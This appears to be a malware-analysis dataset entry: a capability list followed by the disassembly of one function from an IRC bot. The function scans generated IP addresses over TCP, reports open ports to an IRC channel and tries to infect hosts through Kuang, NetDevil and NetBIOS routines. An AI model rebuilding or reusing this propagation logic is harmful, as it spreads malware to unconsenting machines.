Function at 0x40955c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get socket status
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3ec
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x234]
mov dword [esp], eax
call sym._memset
mov word [ebp - 0x234], 2
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x232], ax
mov dword [ebp - 0x2b4], 1
mov dword [ebp - 0x1c], 0
jmp 0x40962d
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov edx, dword [ebp - 0x1c]
mov dword [ebp + edx*4 - 0x2ac], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2ac]
cmp eax, 0xffffffff
jne 0x409600
mov eax, 1
jmp 0x409d8a
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2ac]
lea edx, [ebp - 0x2b4]
mov dword [esp + 8], edx
mov dword [esp + 4], 0x8004667e
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_ioctlsocket]
call eax
sub esp, 0xc
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x1d
jle 0x4095bc
mov dword [ebp - 0x1c], 0
jmp 0x4096c1
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sym._GetNewIp
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x100
add eax, 0x460e60
add eax, 4
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x2b0], eax
mov eax, dword [ebp - 0x2b0]
cmp eax, 0xffffffff
jne 0x409688
mov eax, 0
jmp 0x409d8a
mov eax, dword [ebp - 0x2b0]
mov dword [ebp - 0x230], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2ac]
mov dword [esp + 8], 0x10
lea edx, [ebp - 0x234]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x1d
jle 0x40963f
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460f98
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [ebp - 0x1c], 0
jmp 0x409d7b
mov dword [ebp - 0x2bc], 0
mov dword [ebp - 0x2b8], 0
mov dword [ebp - 0x3d4], 0
mov dword [ebp - 0x20], 0
jmp 0x409737
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp + eax*4 - 0x3d0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2ac]
cmp edx, eax
je 0x409742
add dword [ebp - 0x20], 1
mov eax, dword [ebp - 0x3d4]
cmp dword [ebp - 0x20], eax
jb 0x40971b
mov eax, dword [ebp - 0x3d4]
cmp dword [ebp - 0x20], eax
jne 0x40977b
mov eax, dword [ebp - 0x3d4]
cmp eax, 0x3f
ja 0x40977b
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp + eax*4 - 0x2ac]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x3d0], edx
mov eax, dword [ebp - 0x3d4]
add eax, 1
mov dword [ebp - 0x3d4], eax
lea eax, [ebp - 0x2bc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x3d4]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.WS2_32.dll_select]
call eax
sub esp, 0x14
test eax, eax
jg 0x4097d0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2ac]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
jmp 0x409d77
mov dword [ebp - 0x2d0], 0x10
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2ac]
lea edx, [ebp - 0x2d0]
mov dword [esp + 8], edx
lea edx, [ebp - 0x2cc]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_getpeername]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x2b0], eax
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460e60
mov dword [esp], eax
call sym._strlen
cmp eax, 2
jbe 0x4098a7
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460e60
mov dword [esp + 4], 0x424f1e
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4098a7
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_ntoa]
call eax
sub esp, 4
mov edx, dword [ebp + 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str._s:_i_n
lea eax, [ebp - 0x224]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
lea eax, [ebp - 0x224]
mov dword [esp], eax
call sym._fputs
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x110
add eax, 0x460e60
add eax, 4
mov dword [esp], eax
call sym._strlen
cmp eax, 2
jbe 0x40991c
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_ntoa]
call eax
sub esp, 4
mov edx, dword [ebp + 0x10]
imul edx, edx, 0x15c
add edx, 0x110
add edx, 0x460e60
add edx, 4
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov dword [esp + 4], str.PRIVMSG__s_:Port__i_at_ip:_s_n
lea eax, [ebp - 0x224]
mov dword [esp], eax
call sym._sprintf
jmp 0x409950
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_ntoa]
call eax
sub esp, 4
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Port__i_at_ip:_s__r_n
lea eax, [ebp - 0x224]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460fa8
mov eax, dword [eax]
test eax, eax
je 0x4099a7
lea eax, [ebp - 0x224]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460fa8
mov eax, dword [eax]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x224]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460fa0
mov eax, dword [eax]
test eax, eax
je 0x4099d0
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460fa0
mov eax, dword [eax]
cmp eax, 3
jne 0x4099e7
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2ac]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460fa0
mov eax, dword [eax]
cmp eax, 2
jne 0x409b11
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2ac]
mov dword [esp], eax
call sym._KUANG
cmp eax, 1
jne 0x409b11
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460fa8
mov eax, dword [eax]
test eax, eax
je 0x409b11
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x110
add eax, 0x460e60
add eax, 4
mov dword [esp], eax
call sym._strlen
cmp eax, 2
jbe 0x409aa1
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_ntoa]
call eax
sub esp, 4
mov edx, dword [ebp + 0x10]
imul edx, edx, 0x15c
add edx, 0x110
add edx, 0x460e60
add edx, 4
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov dword [esp + 4], str.PRIVMSG__s_:Uploaded_kuang_to_IP:__s_n
lea eax, [ebp - 0x224]
mov dword [esp], eax
call sym._sprintf
jmp 0x409ace
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_ntoa]
call eax
sub esp, 4
mov dword [esp + 8], eax
mov dword [esp + 4], str.Uploaded_kuang_to_IP:__s__r_n
lea eax, [ebp - 0x224]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x224]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460fa8
mov eax, dword [eax]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x224]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460fa0
mov eax, dword [eax]
cmp eax, 4
jne 0x409c40
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x110
add eax, 0x460e60
lea edi, [eax + 4]
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp + eax*4 - 0x2ac]
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460fa8
mov ebx, dword [eax]
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_ntoa]
call eax
sub esp, 4
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._netdevil
cmp eax, 1
jne 0x409c40
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x110
add eax, 0x460e60
add eax, 4
mov dword [esp], eax
call sym._strlen
cmp eax, 2
jbe 0x409bfd
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_ntoa]
call eax
sub esp, 4
mov edx, dword [ebp + 0x10]
imul edx, edx, 0x15c
add edx, 0x110
add edx, 0x460e60
add edx, 4
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov dword [esp + 4], str.PRIVMSG__s_:Netdevil_rooted_ip:__s_n
lea eax, [ebp - 0x224]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x224]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460fa8
mov eax, dword [eax]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x224]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460fa0
mov eax, dword [eax]
cmp eax, 3
jne 0x409d77
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x110
add eax, 0x460e60
lea esi, [eax + 4]
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460fa8
mov ebx, dword [eax]
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_ntoa]
call eax
sub esp, 4
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call sym._InfectNetBIOS2
cmp eax, 2
jne 0x409d77
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x110
add eax, 0x460e60
add eax, 4
mov dword [esp], eax
call sym._strlen
cmp eax, 2
jbe 0x409d00
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x110
add eax, 0x460e60
add eax, 4
mov dword [esp + 8], eax
mov dword [esp + 4], str.PRIVMSG__s_:could_not_find_netapi32.dll_n
lea eax, [ebp - 0x224]
mov dword [esp], eax
call sym._sprintf
jmp 0x409d2d
mov eax, dword [ebp - 0x2b0]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_ntoa]
call eax
sub esp, 4
mov dword [esp + 8], eax
mov dword [esp + 4], str.could_not_find_netapi32.dll_r_n
lea eax, [ebp - 0x224]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x224]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp + 0x10]
imul eax, eax, 0x15c
add eax, 0x460fa8
mov eax, dword [eax]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x224]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, 1
jmp 0x409d8a
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x1d
jle 0x4096f4
mov eax, 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret